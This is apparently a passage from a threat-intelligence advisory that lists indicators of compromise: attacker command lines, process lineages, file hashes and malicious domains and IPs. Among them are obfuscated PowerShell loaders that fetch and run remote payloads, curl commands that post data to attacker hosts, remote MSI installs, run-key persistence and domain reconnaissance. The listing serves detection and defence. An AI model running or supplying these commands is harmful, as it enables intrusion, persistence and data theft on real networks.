QwBvAG0AbQBhAG4AZAAgAD0AIAAiAGAAIgAkAHAAeQB0AGgAbwBuAHcAUABhAHQAaABgACIAIABgACIAJABwAHkAdABoAG8AbgBTAG
MAcgBpAHAAdABgACIAIgAKACAAIAAgACAAcwBjAGgAdABhAHMAawBzACAALwBjAHIAZQBhAHQAZQAgAC8AdABuACAAIgAkAHQAYQBz
AGsATgBhAG0AZQAiACAALwB0AHIAIAAkAHQAYQBzAGsAQwBvAG0AbQBhAG4AZAAgAC8AcwBjACAAbQBpAG4AdQB0AGUAIAAvAG0Ab
wAgADEAMgAwACAALwBmACAAfAAgAE8AdQB0AC0ATgB1AGwAbAAKAAoAIAAgACAAIABzAGMAaAB0AGEAcwBrAHMAIAAvAHIAdQBuA
CAALwB0AG4AIAAiACQAdABhAHMAawBOAGEAbQBlACIACgB9AAoAYwBhAHQAYwBoACAAewAKACAAIAAgACAAZQB4AGkAdAAgADEAC
gB9AA==
- "CSIDL_SYSTEM\windowspowershell\v1.0\powershell.exe" -w h -c "iex ([string]::new
((105,119,114,32,45,85,114,105,32,34,104,116,116,112,115,58,47,47,119,119,119,46,100,114,111,112,98,111,120,46,99,111,109,47,115,99,10
8,47,102,105,47,52,113,100,53,112,117,120,99,54,97,57,107,103,119,106,56,113,50,104,111,120,47,105,103,105,101,112,109,114,122,120,99,
107,115,103,101,107,49,46,122,105,112,63,114,108,107,101,121,61,48,114,105,48,97,56,108,53,56,99,103,108,48,101,102,115,107,112,53,49,
54,49,104,119,118,38,115,116,61,117,50,111,120,52,102,55,114,38,100,108,61,49,34,32,45,79,117,116,70,105,108,101,32,34,36,101,110,118,
58,97,112,112,100,97,116,97,92,87,105,110,112,46,122,105,112,34,59,32,69,120,112,97,110,100,45,65,114,99,104,105,118,101,32,45,80,97,1
16,104,32,34,36,101,110,118,58,97,112,112,100,97,116,97,92,87,105,110,112,46,122,105,112,34,32,45,68,101,115,116,105,110,97,116,105,11
1,110,80,97,116,104,32,34,36,101,110,118,58,97,112,112,100,97,116,97,34,59,32,114,109,32,34,36,101,110,118,58,97,112,112,100,97,116,97,
92,87,105,110,112,46,122,105,112,34,59,32,83,116,97,114,116,45,83,108,101,101,112,32,45,83,101,99,111,110,100,115,32,53,59,32,83,116,9
7,114,116,45,80,114,111,99,101,115,115,32,36,101,110,118,58,97,112,112,100,97,116,97,92,87,80,121,54,52,45,51,49,52,48,49,92,112,121,11
6,104,111,110,92,112,121,116,104,111,110,119,46,101,120,101,32,45,65,114,103,117,109,101,110,116,76,105,115,116,32,36,101,110,118,58,
97,112,112,100,97,116,97,92,87,80,121,54,52,45,51,49,52,48,49,92,112,121,116,104,111,110,92,99,111,108,108,101,99,116,111,114,46,112,1
21,59,32,83,116,97,114,116,45,83,108,101,101,112,32,45,83,101,99,111,110,100,115,32,51,48,59,32,83,116,97,114,116,45,80,114,111,99,101,
115,115,32,36,101,110,118,58,97,112,112,100,97,116,97,92,87,80,121,54,52,45,51,49,52,48,49,92,112,121,116,104,111,110,92,112,121,116,1

04,111,110,119,46,101,120,101,32,45,65,114,103,117,109,101,110,116,76,105,115,116,32,36,101,110,118,58,97,112,112,100,97,116,97,92,87,80,121,54,52,45,51,49,52,48,49,92,112,121,116,104,111,110,92,80,109,97,110,97,103,101,114,46,112,121,59,32,83,116,97,114,116,45,83,108,101,101,112,32,45,83,101,99,111,110,100,115,32,53)))"

- powershell -Command "$searcher = [adsisearcher]'(&(objectCategory=user)(description=*))'; $searcher.PropertiesToLoad.Add ('samaccountname'); $searcher.PropertiesToLoad.Add('description'); $results = $searcher.FindAll(); foreach ($result in $results) { $result. Properties['samaccountname'][0] + ' - ' + $result.Properties['description'][0] }"
- powershell -NoProfile -Command "([adsisearcher]'(&(objectCategory=computer)(operatingSystem=server))').FindAll() | ForEach-Object { $_. Properties.name }"
- powershell -w hidden -nop -c "$f=[io.path]::GetTempPath()+'t.bat';(irm 'https://www.upd-domain-goloro.com/lkwenrfewk.ico') -replace '%([a-z])','%%$1'|sc $f;cmd /v:on /c $f;ri $f"
- powershell.exe -NonInteractive -nop -w hidden -EncodedCommand JABQAHIAbwBnAHIAZQBzAHMAUAByAGUAZgBlAHIAZQBuAGMAZQA9ACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnADsAJABFAHIAcgBvAHIAQQBjAHQAaQBvAG4AUAByAGUAZgBlAHIAZQBuAGMAZQA9ACcAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAnADsAYwBtAGQALgBlAHgAZQAgAC8AdgA6AG8AbgAgAC8AYwAgACcAcwBlAHQAIAAiAEQAPQBlAGMAaABvAC4AIgAgACYAIAAoACAAZgBvAHIAIAAvAEYAIAAiAGQAZQBsAGkAbQBzAD0AIgAgACUAbAAgAGkAbgAgACgAJwAnAGMAdQByAGwAIAAtAHYAIABoAHQAdABwAHMAOgAvAC8AdwB3AHcALgByAG8AdABvAGEALQB1AHAAZABhAC0AbABvAC4AYwBvAG0ALwBvAGUAawBoAGQAcwBmAHcAOQBvAGcAcgA3AHcALgByAHQAZgAnACcAKQAgAGQAbwAgAHMAZQB0ACAAIgBEAD0AIQBEACEAIAAmACAAJQBsACIAIAApACAAJgAgAGMAbQBkAC4AZQB4AGUAIAAvAHYAOgBvAG4AIAAvAGMAIAAhAEQAIQAnAA==
- powershell.exe -c "chcp 65001 > $null 2>&1 ; Get-NetNeighbor -AddressFamily IPv4 | Where-Object { $_.State -ne 'Permanent' } | Select-Object @{Name='Interface'; Expression={$_.InterfaceAlias}}, @{Name='Internet Address'; Expression={$_.IPAddress}}, @{Name='Physical Address'; Expression={$_.LinkLayerAddress}}, @{Name='Type'; Expression={'dynamic'}} | ConvertTo-Json"
- powershell.exe -c "chcp 65001 > $null 2>&1 ; Get-PSDrive -PSProvider FileSystem | ConvertTo-Json"
- powershell.exe -c "chcp 65001 > $null 2>&1 ; Get-Service | Select-Object -Property Name, DisplayName | ConvertTo-Json"
- powershell.exe -c "chcp 65001 > $null 2>&1 ; systeminfo /FO CSV | ConvertFrom-Csv | ConvertTo-Json"
- powershell.exe -c "chcp 65001 > $null 2>&1 ; tasklist /svc /FO CSV | ConvertFrom-Csv | ConvertTo-Json"
- powershell.exe -ep bypass -c iex (-join [char[]]@ (10,105,119,114,32,104,116,116,112,58,47,47,49,52,50,46,57,51,46,50,52,50,46,49,52,52,58,51,52,53,54,47,111,32,45,117,115,101,98,32,124, 32,105,101,120,32,10,32,32,32,32))

SHA256 file hash: None
Description: Net
File name(s): net.exe
Last seen: 2026-04-08
Process lineage(s):

- powershell.exe <= cmd.exe <= cmd.exe <= explorer.exe <= userinit.exe <= winlogon.exe
- cmd.exe <= node.exe <= node.exe <= cmd.exe <= cmd.exe <= cmd.exe <= powershell.exe <= cmd.exe <= cmd.exe <= explorer.exe <= userinit. exe <= winlogon.exe

Command(s):

- "CSIDL_SYSTEM\net.exe" group "Domain Computers" /domain
- net group [REMOVED]/domain
- net user [REMOVED]
- net view /domain
- net view [REMOVED]

SHA256 file hash: None
Description: Net
File name(s): net.exe
Last seen: 2026-04-07
Process lineage(s):

- powershell.exe <= cmd.exe <= cmd.exe <= explorer.exe <= userinit.exe <= winlogon.exe
- cmd.exe <= node.exe <= node.exe <= cmd.exe <= cmd.exe <= cmd.exe <= powershell.exe <= cmd.exe <= cmd.exe <= explorer.exe <= userinit. exe <= winlogon.exe

Command(s):

- "CSIDL_SYSTEM\net.exe" group "Domain Computers" /domain
- net user [REMOVED]

SHA256 file hash: None
Description: RAT
File name(s): cmd.exe
Last seen: 2026-04-10
Process lineage(s):

- mpextms.exe <= msiexec.exe <= services.exe <= wininit.exe

Command(s):

- CSIDL_SYSTEM\cmd.exe /c powershell -w hidden -nop -c "$f=[io.path]::GetTempPath()+'t.bat';(irm 'https://www.upd-domain-goloro.com/lkwenrfewk.ico') -replace '%([a-z])','%%$1'|sc $f;cmd /v:on /c $f;ri $f" > CSIDL_PROFILE\public\e.tmp 2>&1

SHA256 file hash: None
Description: Net
File name(s): net.exe
Last seen: 2026-03-13
Process lineage(s):

- cmd.exe <= node.exe <= node.exe <= cmd.exe <= cmd.exe <= cmd.exe <= powershell.exe <= cmd.exe <= cmd.exe <= explorer.exe

Command(s):

- net use
- net user [REMOVED] /domain

SHA256 file hash: None
Description: Curl
File name(s): curl.exe
Last seen: 2026-03-13
Process lineage(s):

- cmd.exe <= cmd.exe <= powershell.exe <= cmd.exe <= cmd.exe <= explorer.exe
- cmd.exe <= cmd.exe <= cmd.exe <= powershell.exe <= cmd.exe <= cmd.exe <= explorer.exe

Command(s):

- curl -v -X POST http://mail.authorized-logins.net/0DixM7RUYTZrM9RnGUL8 -H "Content-Type: application/octet-stream" --data-binary "[REMOVED]" --max-time 300
- curl -v -X POST http://php.authorized-logins.net/poQfCobUL1ZoN78LZmxX -H "Content-Type: application/octet-stream" --data-binary "[REMOVED]" --max-time 300
- curl -v http://mail.authorized-logins.net/node.zip -o CSIDL_PROFILE\appdata\local\temp\node.zip
- curl -v http://sss.authorized-logins.net/erojgeg3riu4.docx
- curl -v http://www.authorized-logins.net/erojgeg3riu4.docx
- curl -v https://windows.php.net/downloads/releases/php-8.2.30-nts-Win32-vs16-x64.zip -o CSIDL_PROFILE\appdata\local\temp\php.zip
- curl http://mail.authorized-logins.net/0DixM7RUYTZrM9RnGUL8@ -o CSIDL_PROFILE\appdata\local\node-v22.4.1-win-x64\template.txt
- curl http://php.authorized-logins.net/poQfCobUL1ZoN78LZmxX@ -o CSIDL_PROFILE\appdata\local\php\default.txt

SHA256 file hash: None
Description: Add run key
File name(s): reg.exe
Last seen: 2026-04-16
Process lineage(s):

- cmd.exe <= node.exe <= node.exe <= cmd.exe <= cmd.exe <= cmd.exe <= powershell.exe <= mpextms.exe <= explorer.exe <= userinit.exe <= winlogon.exe <= smss.exe <= smss.exe

Command(s):

- reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Comms" /t REG_SZ /d "\"CSIDL_PROFILE\appdata\local\node-v22.4.1-win-x64\node.exe" \"CSIDL_PROFILE\appdata\local\node-v22.4.1-win-x64\fors.log"" /f

SHA256 file hash: None
Description: Curl
File name(s): curl.exe
Last seen: 2026-05-25
Process lineage(s):

- cmd.exe <= cmd.exe <= cmd.exe <= powershell.exe <= cmd.exe <= cmd.exe <= cmd.exe <= explorer.exe <= userinit.exe <= winlogon.exe
- powershell.exe <= winrar.exe <= outlook.exe <= explorer.exe <= userinit.exe <= winlogon.exe
- cmd.exe <= cmd.exe <= powershell.exe <= cmd.exe <= cmd.exe <= cmd.exe <= explorer.exe <= userinit.exe <= winlogon.exe

Command(s):

- "CSIDL_SYSTEM\curl.exe" 194.87.57.81/nfg6 -o CSIDL_COMMON_APPDATA\t.cmd
- curl -X POST http://sql-updater-service.com/1oNokEn1UQtG6nP6A5vI -H "[REMOVED]" --max-time 300
- curl http://199.91.221.42/lewjkrh9832ww.pdf

SHA256 file hash: None
Description: MSIexec
File name(s): msiexec.exe
Last seen: 2026-04-15
Process lineage(s):

- cmd.exe <= conhost.exe <= explorer.exe <= userinit.exe <= winlogon.exe <= smss.exe <= smss.exe

Command(s):

- msiexec /q /i https://thomphon.com/payload/update.msi?tk=[REMOVED]

SHA256 file hash: None
Description: Curl
File name(s): curl.exe
Last seen: 2026-04-27
Process lineage(s):

- cmd.exe <= explorer.exe
- cmd.exe <= cmd.exe <= explorer.exe
- cmd.exe <= conhost.exe <= explorer.exe

Command(s):

- curl -s https://oeannon.com/t2?tk=[REMOVED] -o CSIDL_PROFILE\appdata\local\temp\t.cmd
- curl -s https://oeannon.com/t2?tk=[REMOVED] -o CSIDL_PROFILE\appdata\local\temp\t.cmd
- curl -sLo CSIDL_PROFILE\appdata\local\temp\t.cmd https://oeannon.com/t2?tk=[REMOVED]
- curl -skLo CSIDL_PROFILE\appdata\local\temp\x\t https://cj06y9v4xab.com/d
- curl https://grande-luna.top/o

SHA256 file hash: None
Description: Net
File name(s): net1.exe
Last seen: 2026-04-08
Process lineage(s):

- cmd.exe <= node.exe <= node.exe <= node.exe <= cmd.exe <= cmd.exe <= cmd.exe <= powershell.exe <= cmd.exe <= cmd.exe <= explorer.exe <= userinit.exe <= winlogon.exe
- cmd.exe <= node.exe <= node.exe <= cmd.exe <= cmd.exe <= cmd.exe <= powershell.exe <= cmd.exe <= cmd.exe <= explorer.exe <= userinit.exe <= winlogon.exe
- net.exe <= cmd.exe <= node.exe <= node.exe <= cmd.exe <= cmd.exe <= cmd.exe <= powershell.exe <= cmd.exe <= cmd.exe <= explorer.exe <= userinit.exe <= winlogon.exe

Command(s):

- CSIDL_SYSTEM\net1 group "Domain Computers" /domain
- CSIDL_SYSTEM\net1 user [REMOVED] /domain
- net1 group "[REMOVED]" /domain
- net1 group "[REMOVED]" /domain
- net1 session

SHA256 file hash: None
Description: Add run key
File name(s): reg.exe
Last seen: 2026-03-13
Process lineage(s):

- cmd.exe <= node.exe <= node.exe <= cmd.exe <= cmd.exe <= cmd.exe <= powershell.exe <= cmd.exe <= cmd.exe <= explorer.exe

Command(s):

- reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Splashtop" /t REG_SZ /d "\"CSIDL_PROFILE\appdata\local\node-v22.4.1-win-x64\node.exe" \"CSIDL_PROFILE\appdata\local\node-v22.4.1-win-x64\template.txt"" /f

SHA256 file hash: None
Description: Certutil
File name(s): certutil.exe

Last seen: 2026-04-08
Process lineage(s):

- cmd.exe <= node.exe <= node.exe <= cmd.exe <= cmd.exe <= cmd.exe <= powershell.exe <= cmd.exe <= cmd.exe <= explorer.exe <= userinit.exe <= winlogon.exe

Command(s):

- certutil -store My

SHA256 file hash(es):

1e41c7bfaa6aa3b93b6cc024274a10e33f3e12fe7c98c1db387ef8927f9d1984
34d798a6c55e57ed0932b6499f4fbcb5454bdfca903307be101a0594b0ac07bc
3f797a639bc855bc6d5471f327924b62d10900ddec49b970eca6604142bbb4be
59e3c4cb06331b4f2d78a9a0592f3747e573bd01c5a7650c26361d1e25520712
8c935feec4bd05d5d918df308be417532fb42608fb989a08eab183e0ae699235
afd5f1ed45a9867daf3bc64152cef460a06b164c8183e490db39146d4749a82c
db972979d508e75fe730d3b72c2701470fbdaeaf8ebdd674744754fa44438ca5
f591275a8f014b29e567529d67c54eb7bb4473db1c38737d6bfd5b3d52c9344e
fb3630822b70bacb56aa4cec29b5a0e3e9acb3920809e70310a4003385a6d34a

File name(s):

endpointdlp.dll
f.dll
n.dll
version.dll

Network indicator(s):

142.93.242.144
144.31.53.78
198.13.159.44
199.91.221.42
authorized-logins.net
b6w9m2z5x8q1v3k.top
carrolc.com
cj06y9v4xab.com
cwrtwright.com
defs.updater-worelos.com
ftps.upd-domain-goloro.com
grande-luna.top
hxxp://thomphon.com/update.msi
human-check.top
mail.authorized-logins.net
mailes.upd-domain-goloro.com
mails.updater-worelos.com
mueleer.com
nano.upscale-kolo.com
oeannon.com
php.authorized-logins.net
rotoa-upda-lo.com
sql-updater-service.com
sss.authorized-logins.net
thomphon.com
upd-domain-goloro.com
update.update-fall.com
updater-worelos.com
upscale-kolo.com
w3xasv14culvnqj.top